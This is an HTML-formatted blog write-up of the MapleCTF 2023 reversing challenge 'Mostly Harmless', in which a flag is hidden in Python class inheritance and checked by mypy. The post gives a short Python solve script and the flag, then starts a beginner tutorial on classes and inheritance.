&lt;p&gt;Some people consider type annotations to be useless. I consider everything &lt;em&gt;but&lt;/em&gt; type annotations redundant.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://toki.la/&quot;&gt;JJ&lt;/a&gt;&lt;br /&gt;
17/291 solves.&lt;/p&gt;
&lt;p&gt;The &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;challenge&quot;&gt;chal&lt;/abbr&gt; is also humorously tagged &amp;quot;cursed&amp;quot; and &amp;quot;misc&amp;quot;. Well, that&#39;s reassuring...&lt;/p&gt;
&lt;p&gt;Anyway, we&#39;re presented with two files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;app.py&lt;/code&gt;: Driver code to convert the flag (input) to a mysterious line of output, then opens a subprocess and runs&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-shell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;mypy output.py&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;output.py&lt;/code&gt;: A template file full of class declarations and inheritance. Utter gibberish on first sight.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can follow along by getting these files &lt;a href=&quot;https://github.com/TrebledJ/ctf-binaries/tree/main/maplectf-2023/mostly-harmless&quot;&gt;&lt;em&gt;here&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;solve&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#solve&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve&lt;/h2&gt;
&lt;p&gt;What? A section titled &amp;quot;solve&amp;quot;? Already? What about the usual analysis and observations?&lt;/p&gt;
&lt;p&gt;Usually I begin my writeups with an extensive analysis section. Contrary to this, &lt;em&gt;Mostly Harmless&lt;/em&gt; is one of those blursed challenges which favours those with strong guess-fu; but the challenge is so intellectually challenging and &lt;em&gt;&lt;strong&gt;deep&lt;/strong&gt;&lt;/em&gt;, that to properly reverse (let alone understand) it would take &lt;s&gt;a PhD,&lt;/s&gt; &lt;s&gt;years,&lt;/s&gt; extra study post-CTF.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The key idea is to recognise:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How does the flag checking work? Where is the final condition which decides whether the input is correct or not?
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;By using the mypy type checker.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;How do the classes containing numbers (e.g. &lt;code&gt;QLW_s1&lt;/code&gt;, &lt;code&gt;QRW_s1&lt;/code&gt;) relate to the classes containing a letter (e.g. &lt;code&gt;L_x&lt;/code&gt;, &lt;code&gt;L_a&lt;/code&gt;)?
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;By inheriting classes &lt;em&gt;in a specific manner&lt;/em&gt;, therefore creating a subtyping relationship.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Still, let&#39;s look at some key insights:&lt;/p&gt;
&lt;!-- - `output.py` contains a bunch of `class` declarations: these indicate subtype relationships. --&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The final line of &lt;code&gt;output.py&lt;/code&gt; is built by stacking input in a recursive fashion:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;L_&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;INPUT&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; L_&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;INPUT&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Thus, &lt;strong&gt;characters are encoded by the &lt;code&gt;L_*&lt;/code&gt; classes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The chain also begins (or ends?) with &lt;code&gt;QRW_s29&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are a bunch of &lt;code&gt;Q*_s*&lt;/code&gt; classes, numbered from 1 to 71. Indices, perhaps? Or just references?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Any clue to the relationship between these symbols? Yes! We see interesting stuff from lines 320 to 459.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Line 378.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;QL_s29&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; L_n&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;N[QLW_s31[L_x[N[MR[N[T]]]]]]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               │          │&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               │          └── Next number&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          │               └── Next letter in flag&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#          └── Current number&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And guess what? That&#39;s all we need! Just follow the numbers like how Alice follows the White Rabbit!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Naur way!!!&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 553&quot; alt=&quot;Shocked meme. That feeling when Mostly Harmless is an eyesore, but is actually pretty harmless.&quot; title=&quot;Naur way!!!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/shocker-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Script&lt;/h3&gt;
&lt;p&gt;The solve is rather simple and fits within 25 lines (including comments!).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; re

&lt;span class=&quot;token comment&quot;&gt;# Extract the lines containing pointers(?)/relationships between letters.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;output.py&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    lines &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;readlines&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;319&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;458&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Skip every 2 lines, bc redundant info.&lt;/span&gt;

lookup &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Parse and store the relationships in a lookup map.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; line &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; lines&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    curr_idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next_idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;findall&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&#39;Q._s(&#92;d+)[^ ]+, L_(&#92;w).*.W_s(&#92;d+)&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; line&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    lookup&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;curr_idx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;next_idx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Follow the pointers until we hit 71.&lt;/span&gt;
idx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;
flag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; idx &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    idx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; lookup&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    flag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; c

&lt;span class=&quot;token comment&quot;&gt;# Profit!&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;maple{{&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;}}&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;details&gt;&lt;summary&gt;Lé Flaggo&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;maple{no_type_system_is_safe_from_pl_grads_with_too_much_time_on_their_hands}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;C++ template metaprogramming reverse when?&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;We&#39;re done. We got the flag. But my curious side wants to dig deeper.&lt;/p&gt;
&lt;p&gt;So let&#39;s go deeper! The rest of this post attempts to dissect the type theory behind the challenge, starting from basic principles.&lt;/p&gt;
&lt;h2 id=&quot;back-to-the-basics&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#back-to-the-basics&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Back to the Basics&lt;/h2&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This section attempts to bolster the reader&#39;s understanding of programming and type theory in order to understand the nitty-gritty of the challenge. If you&#39;re comfortable with types and variance, feel free to &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#metaprogramming-with-type-hints&quot;&gt;skip to the next section&lt;/a&gt;. If you have any questions, do &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#comments&quot;&gt;let me&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;know&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;classes&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#classes&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Classes&lt;/h3&gt;
&lt;p&gt;Classes are a fundamental concept in object-oriented programming (OOP) that allow us to define objects with attributes (variables) and behaviours (methods/functions). They serve as blueprints or templates for creating instances of objects. In the functional realm, classes are used to create new types.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;From here on, &lt;em&gt;class&lt;/em&gt; and &lt;em&gt;type&lt;/em&gt; are interchangeable.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here&#39;s an example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Declare a new class called Challenge.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# __init__ is a magic method called automatically when an instance is created.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;Creating challenge &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;...&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; title
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; description

&lt;span class=&quot;token comment&quot;&gt;# Create instance of our class.&lt;/span&gt;
chal &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Mostly Harmless&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A totally harmless reverse challenge abusing Python types.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Prints &quot;Creating challenge Mostly Harmless...&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;But we&#39;ll stay relevant to the challenge and keep things simple by declaring classes without a meaningful body. Let&#39;s not worry about fancy Python methods and class mechanics.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# This also declares a class called Challenge.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;...&lt;/code&gt; (ellipsis) usually denotes an empty implementation.&lt;/p&gt;
&lt;p&gt;Classes can do a lot more, but for now this explanation suffices.&lt;/p&gt;
&lt;h3 id=&quot;inheritance&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#inheritance&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Inheritance&lt;/h3&gt;
&lt;p&gt;Inheritance is a mechanism in &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Object-Oriented Programming&quot;&gt;OOP&lt;/abbr&gt; that allows a class to inherit attributes and behaviour from another class. The new class is called a &lt;strong&gt;subclass&lt;/strong&gt; or &lt;strong&gt;derived class&lt;/strong&gt;, and the class being inherited from is called the &lt;strong&gt;superclass&lt;/strong&gt; or &lt;strong&gt;base class&lt;/strong&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Reverse&lt;/code&gt; is a subclass of &lt;code&gt;Challenge&lt;/code&gt;, and &lt;code&gt;Challenge&lt;/code&gt; is a superclass of &lt;code&gt;Reverse&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Semantically, a &lt;code&gt;Reverse&lt;/code&gt; is also a &lt;code&gt;Challenge&lt;/code&gt;, but the inverse does not always apply.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# A Reverse is a Reverse. (Duh.)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# A Reverse is also a Challenge.&lt;/span&gt;
